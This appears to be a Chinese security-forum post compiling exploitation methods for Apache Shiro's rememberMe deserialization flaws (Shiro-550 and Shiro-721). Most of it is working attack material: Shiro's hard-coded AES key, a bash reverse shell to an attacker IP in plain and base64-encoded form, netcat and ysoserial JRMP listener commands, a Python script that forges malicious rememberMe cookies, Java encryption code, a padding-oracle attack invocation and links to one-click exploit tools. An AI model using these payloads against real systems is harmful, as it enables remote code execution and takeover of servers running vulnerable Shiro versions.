安全矩阵

 找回密码
 立即注册
搜索
查看: 4421|回复: 0

Shiro反序列化漏洞利用汇总

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-7-6 19:19:02 | 显示全部楼层 |阅读模式
原文链接:Shiro反序列化漏洞利用汇总

“ Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。”
文章目录:
  • 1.1 漏洞原理
  • 1.2 影响版本
  • 1.3 漏洞特征
  • 1.4 漏洞利用

    • 1.4.1 利用方式一:反弹shell
    • 1.4.2 利用方式二:写入文件

  • 2.1 漏洞原理
  • 2.2 影响版本
  • 2.3 漏洞利用

3.2 Shiro-721
  • 3.1 Shiro-550

  • 1、Shiro rememberMe反序列化漏洞(Shiro-550)
  • 2、Shiro Padding Oracle Attack(Shiro-721)
  • 3、一键自动化漏洞利用工具


1、Shiro rememberMe反序列化漏洞(Shiro-550)
1.1  漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
1.2  影响版本:Apache Shiro < 1.2.4
1.3  特征判断
返回包中包含rememberMe=deleteMe字段。
1.4  漏洞利用
这里我们使用一个Shiro_exploit工具,检查是否存在默认的key。
Github项目地址:

  1. https://github.com/insightglacier/Shiro_exploit
复制代码
使用示例:
  1. python shiro_exploit.py -u http://192.168.172.129:8080
复制代码


通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
漏洞利用方式一:反弹shell
1、制作反弹shell代码
监听本地端口
  1. nc -lvp 1234<div class="blockcode"><blockquote>python shiro.py 192.168.172.133:6666
复制代码



Java Runtime 配合 bash 编码,在线编码地址:
  1. http://www.jackson-t.ca/runtime-exec-payloads.html
复制代码

生成编码:
  1. bash -i >& /dev/tcp/192.168.172.133/1234 0>&1

  2. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
复制代码
2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。
  1. java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
复制代码
3、使用shiro.py 生成Payload



shiro.py代码如下:
  1. import sys
  2. import uuid
  3. import base64
  4. import subprocess
  5. from Crypto.Cipher import AES
  6. def encode_rememberme(command):
  7.     popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
  8.     BS = AES.block_size
  9.     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  10.     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  11.     iv = uuid.uuid4().bytes
  12.     encryptor = AES.new(key, AES.MODE_CBC, iv)
  13.     file_body = pad(popen.stdout.read())
  14.     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  15.     return base64_ciphertext

  16. if __name__ == '__main__':
  17.     payload = encode_rememberme(sys.argv[1])   
  18. print "rememberMe={0}".format(payload.decode())
复制代码
4、构造数据包,伪造cookie,发送Payload。


nc监听端口,shell成功反弹:




java监听接口,查看服务器连接情况:


漏洞利用方式二:写入文件
1、生成poc.ser文件
  1. sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
复制代码

2、使用Shiro内置的默认密钥对Payload进行加密:
java调试:
调试代码:
  1. package shiro;

  2. import org.apache.shiro.crypto.AesCipherService;
  3. import org.apache.shiro.codec.CodecSupport;
  4. import org.apache.shiro.util.ByteSource;
  5. import org.apache.shiro.codec.Base64;
  6. import org.apache.shiro.io.DefaultSerializer;

  7. import java.nio.file.FileSystems;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;

  10. public class TestRemember {
  11.     public static void main(String[] args) throws Exception {
  12.         byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));

  13.         AesCipherService aes = new AesCipherService();
  14.         byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

  15.         ByteSource ciphertext = aes.encrypt(payloads, key);
  16.         System.out.printf(ciphertext.toString());
  17.     }
复制代码


3、发送rememberMe Cookie,即可成功执行命令。




在目标服务器/tmp目录下,生成success文件。




2、Shiro Padding Oracle Attack(Shiro-721)
2.1  漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
2.2  影响版本:Apache Shiro < 1.4.2版本。
2.3  漏洞利用
1、登录Shiro网站,从cookie中获得rememberMe字段的值。



2、利用DNSlog探测,通过ysoserial工具payload。
  1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
复制代码

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:
  1. https://github.com/longofo/PaddingOracleAttack-Shiro-721
复制代码
使用示例:
  1. java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
复制代码


爆破成功,输出Result:


4、使用构造的rememberMe攻击字符串重新请求网站


5、成功触发Payload,在DNSLog获取到目标IP。



3、一键自动化漏洞利用工具
ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
Github项目地址:
  1. https://github.com/feihong-cs/ShiroExploit
复制代码
Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。


Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型



























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 02:11 , Processed in 0.014453 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表